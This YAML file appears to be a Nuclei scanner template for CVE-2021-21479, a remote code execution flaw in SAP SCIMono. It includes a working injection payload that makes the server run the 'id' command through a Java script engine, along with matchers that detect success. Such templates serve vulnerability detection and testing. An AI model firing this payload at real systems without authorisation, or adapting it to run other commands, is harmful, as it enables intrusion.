46 lines
1.7 KiB
YAML
46 lines
1.7 KiB
YAML
id: CVE-2021-21479
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info:
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name: SCIMono <0.0.19 - Remote Code Execution
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author: dwisiswant0
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severity: critical
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description: |
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SCIMono before 0.0.19 is vulnerable to remote code execution because it is possible for an attacker to inject and
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execute java expressions and compromise the availability and integrity of the system.
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impact: |
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Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the target system.
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remediation: |
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Upgrade SCIMono to version 0.0.19 or later to mitigate this vulnerability.
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reference:
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- https://securitylab.github.com/advisories/GHSL-2020-227-scimono-ssti/
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- https://nvd.nist.gov/vuln/detail/CVE-2021-21479
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- https://github.com/SAP/scimono/security/advisories/GHSA-29q4-gxjq-rx5c
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
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cvss-score: 9.1
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cve-id: CVE-2021-21479
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cwe-id: CWE-74
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epss-score: 0.00362
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epss-percentile: 0.69203
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cpe: cpe:2.3:a:sap:scimono:*:*:*:*:*:*:*:*
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metadata:
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max-request: 1
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vendor: sap
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product: scimono
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tags: cve,cve2021,scimono,rce,sap
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http:
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- method: GET
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path:
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- "{{BaseURL}}/Schemas/$%7B''.class.forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('js').eval('java.lang.Runtime.getRuntime().exec(\"id\")')%7D"
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matchers:
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- type: word
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part: body
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words:
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- "The attribute value"
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- "java.lang.UNIXProcess@"
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- "has invalid value!"
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- '"status" : "400"'
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condition: and
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# digest: 4a0a004730450220106f5c511cfb4e10fddcc98691249d094843d9a6532784093f11f08c907f35c0022100caa4e53c6eee1055640540684783d0a03dfa2f97be4dae8719a599d09decabc5:922c64590222798bb761d5b6d8e72950 |